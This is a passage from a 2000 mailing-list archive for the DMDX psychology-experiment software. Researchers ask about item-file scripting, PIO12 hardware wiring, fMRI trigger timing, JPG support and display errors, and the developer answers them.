""wrong"" ; 30 d20 ""noresponse"" ; +100 * ""target"" / c; +110 * ""target"" / c; 0 ""end""l; F80 0 ""Pausing on No Response"" ; 10 d2 c; 0 ""Hit Request to Continue"" ; +100 * ""target"" / ; +110 * ""target"" / ; 0 ""end""l; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Kathleen M Mohan ,DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 16:17:21 -0700",[DMDX] record of items presented,"I am using DMDX to present single letter stimuli to subjects at 250ms/letter. Some of the letters are blue, the rest are black. The subject's task is to count the number of blue letters (this is the primary task) while waiting for a stimulus ( a white ball) to come into view from the periphery, at which time they are supposed to look toward the white ball (the secondary task)and then report the number of blue letters they counted. I want to be able to stop the presentation of the letters when they look away from the computer screen and somehow save a record of the letters that have been presented (including the color of the letters) so that I can go back later and check their accuracy as a measure of whether they were really paying attention to the letters or not. Is there some way to do this? I know that when I use the escape key my only choices are abort or not abort. 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",DMDX@psy1.psych.arizona.edu,"Thu, 19 Oct 2000 17:54:38 -0700",[DMDX] Re: record of items presented,"At 04:17 PM 10/19/00 -0700, you wrote: >I am using DMDX to present single letter stimuli to subjects at >250ms/letter. Some of the letters are blue, the rest are black. The >subject's task is to count the number of blue letters (this is the primary >task) while waiting for a stimulus ( a white ball) to come into view from >the periphery, at which time they are supposed to look toward the white >ball (the secondary task)and then report the number of blue letters they >counted. I want to be able to stop the presentation of the letters when >they look away from the computer screen and somehow save a record of the >letters that have been presented (including the color of the letters) so >that I can go back later and check their accuracy as a measure of whether >they were really paying attention to the letters or not. Is there some >way to do this? I know that when I use the escape key my only choices are >abort or not abort. Thanks for any help you can give, Well, I hate to sound like a car salesman, but is this ever your lucky day! Fortunately for you I have been laboring mightily night and day for the last week or two to implement features to do just what you need! All you need to is send money in an unmarked envelope to... just kidding. You'll need to make each letter presentation an item gathering an RT, you'll need to turn feedback off, you'll need to set the timelimit to however long you want between letters. You could in fact do it with old features in DMDX, just doing the above, all the RT's will be -timilimit till you abort the job, from the item numbers you can keep a track of what happened. However using the new counters and a branch (not new) and the new keyword the process can be neatened up considerably. You'll want to setup two counters, one getting incremented for blue letters, one for black, maybe another for both, it's up to you. The items will have a branch on correct response (you won't respond till you want DMDX to stop and it will be with the correct response key, not the ESC key) to the end of the item file. Something like this (assuming you want scrambling): F30 S1 T1000 $ 0 ""Black and Blue letter presentation"" ;$ +1 * ""blackletter"" / ; +2 * ""blueletter"" / ; ...many more items... $ 1000 ""end"" ;$ -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""This is not movement of the wind, nor is it movement of the flag, It is movement of your mind""",0,0 """j.c.f."" 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You can't have more than one branch per item unless you use the keyword. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""This is not movement of the wind, nor is it movement of the flag, It is movement of your mind""",0,0 """Michael J. Wenger"" ",DMDX@psy1.psych.arizona.edu,"Fri, 20 Oct 2000 11:32:43 -0500",[DMDX] working with a PIO12," We're setting up a configuration for tachistoscopic display. DMDX will control a set of tachistoscopic goggles (Translucent Technologies) and will read inputs from an 8-button response box (being built by Lafayette Instruments). Both the goggles and the response box will be controlled using the PIO12 board. Is there a specific line number on the PIO12 that we should be using to for the TTL pulse needed by the goggles? ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 20 Oct 2000 09:39:48 -0700",[DMDX] Re: working with a PIO12,"At 11:32 AM 10/20/00 -0500, you wrote: >We're setting up a configuration for tachistoscopic display. DMDX will >control a set of tachistoscopic goggles (Translucent Technologies) and >will read inputs from an 8-button response box (being built by Lafayette >Instruments). Both the goggles and the response box will be controlled >using the PIO12 board. Is there a specific line number on the PIO12 that >we should be using to for the TTL pulse needed by the goggles? Yeah, Port C is the output port, Ports A and B are used for input. Check the TimeDX PIO documentation. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""This is not movement of the wind, nor is it movement of the flag, It is movement of your mind"" ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 20 Oct 2000 09:41:36 -0700",[DMDX] Re: working with a PIO12,"At 09:39 AM 10/20/00 -0700, you wrote: >At 11:32 AM 10/20/00 -0500, you wrote: > >>We're setting up a configuration for tachistoscopic display. DMDX will >>control a set of tachistoscopic goggles (Translucent Technologies) and >>will read inputs from an 8-button response box (being built by Lafayette >>Instruments). Both the goggles and the response box will be controlled >>using the PIO12 board. Is there a specific line number on the PIO12 that >>we should be using to for the TTL pulse needed by the goggles? > > Yeah, Port C is the output port, Ports A and B are used for > input. Check the TimeDX PIO documentation. PS:- hope those buttons from Lafayette are active LOW. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""This is not movement of the wind, nor is it movement of the flag, It is movement of your mind"" ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 09:35:58 -0700",[DMDX] BMPs vs. JPGs," I have a library of code that might read .JPG bitmaps directly (I've yet to look at it), if I add it to DMDX large photographic images wont have to be converted .BMP files and will save enormous amounts of disk space. Should I pursue this? One of my original reasons for not supporting other file formats was that I figured anyone that wanted to present photographic images would want them presented with the highest degree of fidelity, but when you compare a 50k .JPG file to it's 4meg .BMP people with older systems are suddenly facing space crises if they are to present a large number of images. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. (3) Never volunteer for anything ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 17:50:13 +0100",[DMDX] Re: BMPs vs. JPGs,"At 09:35 23/10/00 -0700, you wrote: > > I have a library of code that might read .JPG bitmaps directly (I've yet >to look at it), if I add it to DMDX large photographic images wont have to >be converted .BMP files and will save enormous amounts of disk >space. Should I pursue this? One of my original reasons for not >supporting other file formats was that I figured anyone that wanted to >present photographic images would want them presented with the highest >degree of fidelity, but when you compare a 50k .JPG file to it's 4meg .BMP >people with older systems are suddenly facing space crises if they are to >present a large number of images. > >-jonathan (j.c.f.) I'd say this would be a very useful thing to have for the following reason. A problem that local users have had is that it takes a variable amount of time to load pictures from disk. For experiments where the time between trials is critical (as is the often the case in functional imaging - e.g. PET, fMRI) then loading smaller files should reduce the potential for variation in inter-trial-intervals - smaller picture files should allow more reliable timing between trials (shorter preparation times, for example). I also imagine that on modern systems loading a 50k .jpg and converting it will be faster than loading a 4meg .bmp. This sort of speed improvement would be useful for people wanting to display long sequences of pictures with fast ITIs. Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 Eddie Harmon-Jones ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 13:33:06 -0500",[DMDX] Re: BMPs vs. JPGs,"Hi Jonathan, I'd be very grateful if you would pursue this. Eddie At 09:35 AM 10/23/00 -0700, you wrote: > I have a library of code that might read .JPG bitmaps directly (I've > yet to look at it), if I add it to DMDX large photographic images wont > have to be converted .BMP files and will save enormous amounts of disk > space. Should I pursue this? One of my original reasons for not > supporting other file formats was that I figured anyone that wanted to > present photographic images would want them presented with the highest > degree of fidelity, but when you compare a 50k .JPG file to it's 4meg > .BMP people with older systems are suddenly facing space crises if they > are to present a large number of images. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Lackland's Laws: > (1) Never be first. > (2) Never be last. > (3) Never volunteer for anything > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at > his earliest convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ********************************************* Eddie Harmon-Jones Department of Psychology University of Wisconsin -- Madison 1202 West Johnson Street Madison, Wisconsin 53706-1611 USA ******************************************** phone: 608-265-5504 fax: 608-262-4029 email: eharmonj@facstaff.wisc.edu ******************************************** ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 11:52:22 -0700",[DMDX] Re: BMPs vs. JPGs,"At 05:50 PM 10/23/00 +0100, you wrote: >At 09:35 23/10/00 -0700, you wrote: > > > > I have a library of code that might read .JPG bitmaps directly (I've yet > >to look at it), if I add it to DMDX large photographic images wont have to > >be converted .BMP files and will save enormous amounts of disk > >space. Should I pursue this? One of my original reasons for not > >supporting other file formats was that I figured anyone that wanted to > >present photographic images would want them presented with the highest > >degree of fidelity, but when you compare a 50k .JPG file to it's 4meg .BMP > >people with older systems are suddenly facing space crises if they are to > >present a large number of images. > > > >-jonathan (j.c.f.) > >I'd say this would be a very useful thing to have for the following reason. > >A problem that local users have had is that it takes a variable amount of >time to load pictures from disk. For experiments where the time between >trials is critical (as is the often the case in functional imaging - e.g. >PET, fMRI) then loading smaller files should reduce the potential for >variation in inter-trial-intervals - smaller picture files should allow >more reliable timing between trials (shorter preparation times, for example). In fact the opposite is true, because a .JPG is such a CPU intensive thing to load and because it's compression varies so dramatically from one image to the next it's time to load is going vary wildly -- whereas .BMPs the same size are going to take the same amount of time, the only thing that could slow it down would be having the images on wildly different parts of the disk. >I also imagine that on modern systems loading a 50k .jpg and converting it >will be faster than loading a 4meg .bmp. This sort of speed improvement >would be useful for people wanting to display long sequences of pictures >with fast ITIs. That much is true, overall .JPGs are going to be much faster for the same sized image. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 11:55:37 -0700",[DMDX] Re: BMPs vs. JPGs,"At 01:33 PM 10/23/00 -0500, you wrote: >Hi Jonathan, >I'd be very grateful if you would pursue this. Ok, sounds like it's going to be useful. Would people intending to use .JPG files please send my jforster.email.arizona.edu one (or more if you suspect you have different types of .JPG encoding) of the images they would be using. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Kathleen M Mohan ,DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 15:03:34 -0700",[DMDX] newest version of DMDX,"I have written new item files incorporating your advice on using counters to keep track of the blue and black letters that are presented to subjects. When I tried to run the file, I found that the version of DMDX that I had was not the latest, so I downloaded the newest version, and tried to run TimeDX and got a message that I needed a newer version of DirectX. So I downloaded that from Microsoft and installed it. The first time I tried to run TimeDX with the new version of DirectX installed, I started with the Select Video Mode, and it seemed to start fine, but then the screen went white with a black rectangle right in the center and I got the following error messages (in the following order): Error Get DC for memory surface failed! DDERR_CANTCREATEDC (88760249) Windows can not create any more DCs Failure Blit to back surface failed DDERR_SURFACELOST (887601C2) Access to this surface is being refused because the surface is gone. The DIRECTDRAWSURFACE object representing this surface should have Restore called on it. Next it repeated the above Error message Then: Failure Flip failed DDERR_SURFACELOST (887601C2) Access to this surface is being refused because the surface is gone. The DIRECTDRAWSURFACE object representing this surface should have Restore called on it. Then: it repeated the same error message as above. I exited TimeDX and tried again, but it now just goes right to the white and black screen and the error messages. I don't know if I have any more relevant information. Can you help? Thanks, Kathy ---------------------- Kathleen M Mohan kmohan@U.Arizona.EDU ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 23 Oct 2000 17:41:15 -0700",[DMDX] Re: newest version of DMDX,"At 03:03 PM 10/23/00 -0700, you wrote: >I don't know if I have any more relevant information. Can you help? Yeah, restart the machine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. 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In other words what will happened if the pin nb are changed ?? 2- I got the answer for the DMDX triggering from the scanner to put 0 ""TTL Pulse 1""; 0 ""TTL Pulse 2""; 0 ""TTL Pulse 3""; What is the meaning of 1,2,3 ... this sounds to be only a message (20ms per message!)? How DMDX will recognize a TTL signal ?? 3- In the same way for the ouput : 0 o0 / 0255 ; will send a signal to the device connected on 255 ? General question : is there a better document / chapter on how output/input signal are managed/stored/sent .... (from our electonics Dpt) Hope to get some documented info. 4- Is anyone aware of available computerized (bmps) database for the two following task : Face recognition Geometrical Figures Recognition. Thanks for help Jean-Francois",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 09:22:01 -0700",[DMDX] Re: pin-connection/bmp-database,"At 05:33 PM 10/24/00 +0200, you wrote: >Dear all, >We are about testing DMDX for the first time. woth the PIO12card. > >I want to be sure of the following : > >1- Pin connection : according to the scheme in the help >we just have to connect one button to pin 31 , the second >to pin 11 with a request button to pin 37. >I have been asked on how this is progammed in the source >code ??? In other words what will happened if the pin nb are changed ?? You would use the keywords (such as ) that map responses to different bits of the PIO-12. >2- I got the answer for the DMDX triggering from the scanner to put >0 ""TTL Pulse 1""; >0 ""TTL Pulse 2""; >0 ""TTL Pulse 3""; >What is the meaning of 1,2,3 ... this sounds to be only a message (20ms >per message!)? >How DMDX will recognize a TTL signal ?? Use output switch: 0 ""TTL Pulse 1"" o1; 0 ""TTL Pulse 2"" o2; 0 ""TTL Pulse 3"" o3; >3- In the same way for the ouput : >0 o0 / 0255 ; >will send a signal to the device connected on 255 ? You're obviously hopelessly out of your league here, you need a technician. o0 outputs the value 0 (low) to the 8 output pins of port C on the PIO12, o255 sets them all high. >General question : is there a better document / chapter on >how output/input signal are managed/stored/sent .... >(from our electonics Dpt) > >Hope to get some documented info. Only stuff we provide is in the TimeDX help file and what is in the original DMTG docs. >4- Is anyone aware of available computerized (bmps) database >for the two following task : >Face recognition >Geometrical Figures Recognition. Pass. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. (3) Never volunteer for anything",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 09:26:00 -0700",[DMDX] 2.2.01 (forgot)," I forgot to mention that DMDX 2.2.01 (and a few previous versions) have two new input devices, pio12output16 for people who need more output pins but still want input with the PIO12 and pio12output24 for people who don't need any input at all. See the Input section in the DMDX helpfile. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. (3) Never volunteer for anything ",0,0 Kathleen M Mohan ,DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 09:31:37 -0700",[DMDX] Re: newest version of DMDX," Already tried that, and tried it again today. Still does the same thing. On Mon, 23 Oct 2000, j.c.f. wrote: > At 03:03 PM 10/23/00 -0700, you wrote: > > >I don't know if I have any more relevant information. Can you help? > > Yeah, restart the machine. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Lackland's Laws: > (1) Never be first. > (2) Never be last. > (3) Never volunteer for anything > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ---------------------- Kathleen M Mohan kmohan@U.Arizona.EDU ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 09:36:28 -0700",[DMDX] Re: pin-connection/bmp-database,"At 09:22 AM 10/24/00 -0700, you wrote: >>1- Pin connection : according to the scheme in the help >>we just have to connect one button to pin 31 , the second >>to pin 11 with a request button to pin 37. Wrong, the diagram is for illustration purposes, it is not showing you connections. Never saw anyone misinterpret that diagram before. The input pins are 37, 36, 35, 34, and 33, of which you will more than likely only be interested in the first three. A literal connection diagram would be: +5v <---------o---+ pin 37 --------------------+ pin 18 | | pin 36 -----------------+ | \\ \\ pin 35 - | +-------+ 4.7k / / pin 34 - | | \\ \\ pin 33 - +--+ | | | \\ pin 32 - | | | | \\ pin 31 - | +---------o----------o o----+ pin 30 - | | | | | \\ | pin 10 - | | \\ | pin 11 - +---------------------o------o o----o pin 12 - n.o. | pin 13 - pb3: aux input Bit11 switches | pin 14 - pb4: aux input Bit12 | pin 15 - pb5: aux input Bit13 ------- pin 16 - pb6: aux input Bit14 --- pin 17 - pb7: aux input Bit15 . ground pin 19 The third button connects to pin 35. >>I have been asked on how this is progammed in the source >>code ??? In other words what will happened if the pin nb are changed ?? > > You would use the keywords (such as ) that map responses to > different bits of the PIO-12. You will also have to change if you use other pins for input. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. (3) Never volunteer for anything",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 09:45:07 -0700",[DMDX] Re: newest version of DMDX,"At 09:31 AM 10/24/00 -0700, you wrote: > Already tried that, and tried it again today. Still does the same thing. Hmm, then the DX7 installation went awry. The steps in increasing orders of severity I would try would be: 1/ Get new video drivers for your video card and install them. 2/ Install DX 7 again. 3/ Delete the video device in the Device Manager and force it's re-detection. You may have to use Safe Mode to do this. New video drivers in disk so that you can use the ""Have Disk"" option when windows ask for drivers highly recommended for this step. 4/ Install windows over the top of the existing installation. My bet is step number 1 is all that is necessary, put it this way, it has the highest chance of changing anything. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. (3) Never volunteer for anything ",0,0 Susanna Lau ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 05:24:14 +1000",,"Dear all, Hope someone would be able to offer me some advice on this as I am stuck on the following : I want to display a two video files (discrimination task) on the same item with a blank screen displaying in between (either 1500 or 500 msec). And within my design, i have three different presentation conditions, with auditory-only (the item was presented with a still picture with the audio input), Visual-only (visual input with the person articulating the words but with no audio output), and last Audio-visual (with both audio and visual output).and, only the Auditory-only 500 msec condition seems to be playing up. I had the following code written Auditory-only trial: 500msec +250 ""ready"" / ""A_Fan1a.mov"" / / ""A_Fan1b.mov"" ; 1500msec condition : AO +250 ""ready"" / ""A_Fan1a.mov"" / / ""A_Fan1b.mov"" ; Visual -only trial: 500msec +250 ""ready"" / ""V_fan1a.mov"" / / ""V_fan1b.mov"" ; 1500msec: +250 ""ready"" / ""V_fan1a.mov"" / / ""V_fan1b.mov"" ; in the AO 500 msec condition, the still face component was remain on the screen during the 500msec or sometimes.no gap in between. the blank screen is not displaying consistently. but the audio component was playing like normal. And this is only happening in the AO 500 msec condition, AO- 1500 msec trials were playing the same as other AV/VO trials with a blank screen gap between. The audio trials were intending to be playing from certain no. frame (as where the actually audio component starts), different from other AV/VO trials in which all items start from the 8th frame of the video file. Although the AO comprised of a still face, it is saved as a quicktime movie file as other AV,VO files. I tried also to written the AO code, so that it plays from the 8th frame of the files and having the clock on the 12th frame as other AV/VO , but still playing up. and also can anyone tells me whats this dialogue box says : ""Multiple use of BIC"" referring to ? it keeps poping up at the start up of DMDX (the 2.2.00 version) Any suggestions on this ??? Thanks Susanna.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 12:12:56 -0700",[DMDX] Re: ,"At 05:24 AM 10/25/00 +1000, you wrote: >Dear all, > >Hope someone would be able to offer me some advice on this as I am stuck >on the following : > >I want to display a two video files (discrimination task) >on the same item with a blank screen displaying in between (either 1500 or >500 msec). And within my design, i have three different presentation >conditions, with auditory-only (the item was presented with a still picture >with the audio input), Visual-only (visual input with the person >articulating the words but with no audio output), and last Audio-visual >(with both audio and visual output).and, only the Auditory-only 500 msec >condition seems to be playing up. > >I had the following code written > >Auditory-only trial: 500msec > >+250 ""ready"" / ""A_Fan1a.mov"" / > / ""A_Fan1b.mov"" 32> ; > >1500msec condition : AO > >+250 ""ready"" / ""A_Fan1a.mov"" / > / ""A_Fan1b.mov"" 32> ; > >Visual -only trial: 500msec > >+250 ""ready"" / ""V_fan1a.mov"" / 333> / ""V_fan1b.mov"" ; > >1500msec: > >+250 ""ready"" / ""V_fan1a.mov"" / 1333> / ""V_fan1b.mov"" ; > > >in the AO 500 msec condition, the still face component was remain on the >screen during the 500msec or sometimes.no gap in between. the blank screen >is not displaying consistently. but the audio component was playing like >normal. > >And this is only happening in the AO 500 msec condition, AO- 1500 msec >trials were playing the same as other AV/VO trials with a blank screen gap >between. > >The audio trials were intending to be playing from certain no. frame (as >where the actually audio component starts), different from other AV/VO >trials in which all items start from the 8th frame of the video file. >Although the AO comprised of a still face, it is saved as a quicktime movie >file as other AV,VO files. > >I tried also to written the AO code, so that it plays from the 8th frame of >the files and having the clock on the 12th frame as other AV/VO , but still >playing up. You can't leave a frame of Digital Video on the screen. If you're having trouble with unusual DV files it's because the codecs installed on your machine that are being used to play them back can't understand your unusual format. I'd suggest making .BMP of the still frame you want and then using the keyword instead. BTW, should be able to play just the audio portion of the existing digital video, it should just ignore the video component. >and also can anyone tells me whats this dialogue box says : ""Multiple use of >BIC"" referring to ? it keeps poping up at the start up of DMDX (the 2.2.00 >version) Well that's really interesting, that's an internal diagnostic telling me that I've used the mnemonic BIC twice, dunno why I don't see it here because the mnemonic for was instead of . More multimon weirdness, damn. Fixed in 2.2.02 that's up there now. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 12:16:09 -0700",[DMDX] 2.2.02," DMDX 2.2.02 is up, fixing a slight oops where I used BIC twice (although not actually intending to). It's a mystery as to why the multimon testbed didn't display the diagnostic which I will no doubt be looking at the next time I feel like doing something unpleasant. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 24 Oct 2000 12:31:58 -0700",[DMDX] 2.2.03,"Ah, sorry about that, 2.2.03 fixes a small goof when syntax checking item files with keywords in them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 18:47:07 +0200",[DMDX] PreciseTimingAgain,"Dear all, I am back with the following code (example) (the TTL from the scanner is triggering DMDX) 0 ""TTL Puse 1"" ; 250 ""Image1""/; 250 ""Frame1""/; +001 *""Image2""/; 250 ""Frame2""/; and so on for 24 loops (96 images) ==> delays adding up !!! I am recording 1 set of images every 3s. The sequence is stopping earlier than DMDX !!! I did put (1 tick is 13.4 ms here) 30 tick means 250 ""Image1""/; 250 ""Frame1""/; +001 *""Image2""/; 250 ""Frame2""/; Still the same (not right ending both scannerand DMDX); Has somebody some trick to do so (is DMDX usefull with FMRI?) Is the only solution to trigger each loop on even each image display ?? How experienced FMRI people handle DMDX ?? I thought that any videocard had 2 pages memory. Is ther a possible way to upload Frame1 on page 2 when displaying Image1 on page 1 Then Then upload Image2 on page 1 when displaying Frame1 on page 2 and so on This is EXPE6 stratgy to avoid this black waiting time in between bmps related to PreparationA and Preparation B Thanks for help, suggestions and comments and even thinking of usefull nodification in timing management to better fit DMDX into FMRI field. Sorry to focused so hardly on timing handling Jean-Francois",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 09:32:06 -0700",[DMDX] Re: PreciseTimingAgain,"At 06:47 PM 10/25/00 +0200, you wrote: >Dear all, > >I am back with the following code (example) >(the TTL from the scanner is triggering DMDX) > >0 ""TTL Puse 1"" ; >250 ""Image1""/; >250 ""Frame1""/; >+001 *""Image2""/; >250 ""Frame2""/; > >and so on for 24 loops (96 images) ==> delays adding up !!! > >I am recording 1 set of images every 3s. >The sequence is stopping earlier than DMDX !!! > >I did put (1 tick is 13.4 ms here) 30 tick means > >250 ""Image1""/; >250 ""Frame1""/; >+001 *""Image2""/; >250 ""Frame2""/; > >Still the same (not right ending both scannerand DMDX); > >Has somebody some trick to do so (is DMDX usefull with FMRI?) You might wan to try the above with a Delay parameter as well, it not only sets the default delay between items, it forces DMDX to throw an error if it can't meet the requirements (so you can scale things appropriately. Note the erase frame at the end of your items takes 1 tick to be displayed too. >Is the only solution to trigger each loop on even each image display ?? >How experienced FMRI people handle DMDX ?? > >I thought that any videocard had 2 pages memory. Probably many more, you can see how many DMDX is using by looking the top of the diagnostics text display. It varies depending on the video mode. >Is ther a possible way to upload >Frame1 on page 2 when displaying Image1 on page 1 >Then >Then upload >Image2 on page 1 when displaying Frame1 on page 2 >and so on Not unless you make them part of one item. >This is EXPE6 stratgy to avoid this black waiting time >in between bmps related to PreparationA and Preparation B You might want to try something like the following: d223 0 ""TTL Puse 1"" ; 250 d1 ""Image1""; 250 ""Frame1""; +001 d447 *""Image2""; 250 ""Frame2""; 250 d447... That way the delay for the following item sets the display duration of the previous item (because they aren't erased and are just left on the screen). Image reading will occur during the display of the previous items. >Thanks for help, suggestions and comments >and even thinking of usefull nodification in timing >management to better fit DMDX into FMRI field. FMRI timing is always tricky but never impossible, there are numerous people here using FMRI, perhaps they can send you some of their scripts for examples. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Lackland's Laws: (1) Never be first. (2) Never be last. (3) Never volunteer for anything",0,0 Lee Ryan ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 13:55:36 -0700",[DMDX] Re: BMPs vs. JPGs,"Jonathan, This would help us greatly. We're having trouble working with large files and many pictures (I'm sure you'll hear more about this soon). Lee Ryan At 09:35 AM 10/23/00 -0700, j.c.f. wrote: > I have a library of code that might read .JPG bitmaps directly (I've > yet to look at it), if I add it to DMDX large photographic images wont > have to be converted .BMP files and will save enormous amounts of disk > space. Should I pursue this? One of my original reasons for not > supporting other file formats was that I figured anyone that wanted to > present photographic images would want them presented with the highest > degree of fidelity, but when you compare a 50k .JPG file to it's 4meg > .BMP people with older systems are suddenly facing space crises if they > are to present a large number of images. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Lackland's Laws: > (1) Never be first. > (2) Never be last. > (3) Never volunteer for anything > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at > his earliest convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== Lee Ryan, Ph.D. UofA Cognition & Neuroimaging Laboratories Department of Psychology University of Arizona tel: (520) 621-7443 fax: (520) 621-9306 ryant@u.arizona.edu http://www.u.arizona.edu/~cnl ",0,1 Scott Hayes ,DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 14:45:29 -0700",[DMDX] displaying image files,"Dear Jonathon, I am currently trying to simultaneously display 2 .bmp files. The first 3 trials of the block run fine. However, during the time that the 4th trial should appear, DMDX sequentially redisplays the previous 3 trials (items are not in their original locations--the images are off the screen, cue words are in different locations). Next, it moves onto the 4th, 5th, and 6th trials, runs them correctly, and then re-displays trials 4-6 in a similar manner to trials 1-3. The .bmp files are 1555 kb; my computer has NVIDIA TNT 2 M64 4XAGP video card, and 128 MB RAM, so I think this should be sufficient to run the block. Or are these files simply too large? In the dialogue box, some messages I receive are: Display error at Tick 15; moved into VM 5 ticks late. Prep A .05 msec, b 0.52 msec. Display error at tick 632, moved into VM 25 ticks late, Prep A 438.45 msec, B 30.55. I've included my parameter line and 1st 4 trials below. 0 “Ready”; -1 “object”/ * “FIguana”, “3Vases”/; +2 “spatial”/ * “ArmoireO”, “ArmoireS1”/; -3 “object”/ * “FPlant”, “Truck”/; -4 “temporal”/ * “Candles”, “Bird”/; Any suggestions you can provide will be apreciated. Thanks.",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 26 Oct 2000 09:28:24 +1000",[DMDX] Altering scan lines,"I have been trying to set DMDX up to run in 640x480 video mode, but scan less than 480 (say 200) lines vertically. To do this, I selected 640x480 (8 bit) in TimeDX, specified 200 scan lines, tested the video mode, and saved values in registry, just as one would do for any normal video mode. So far, so good. Then in the .rtf file, I specified . When I came to run the script however, DMDX complained that I had not tuned vertical retrace values (which I definitely had). I tried again several times, but no joy. I have tried other video modes, other numbers of scan lines, and several versions of DMDX, including the latest, but still no joy. DMDX seems to only accept video modes that use the full number of scan lines available in a particular video mode. Has anyone out there made this work? Does anyone have any ideas about why I can't make it work? Thanks, Michael Johnston =============================================== Dr Michael Johnston Research Fellow School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/",0,1 """j.c.f."" 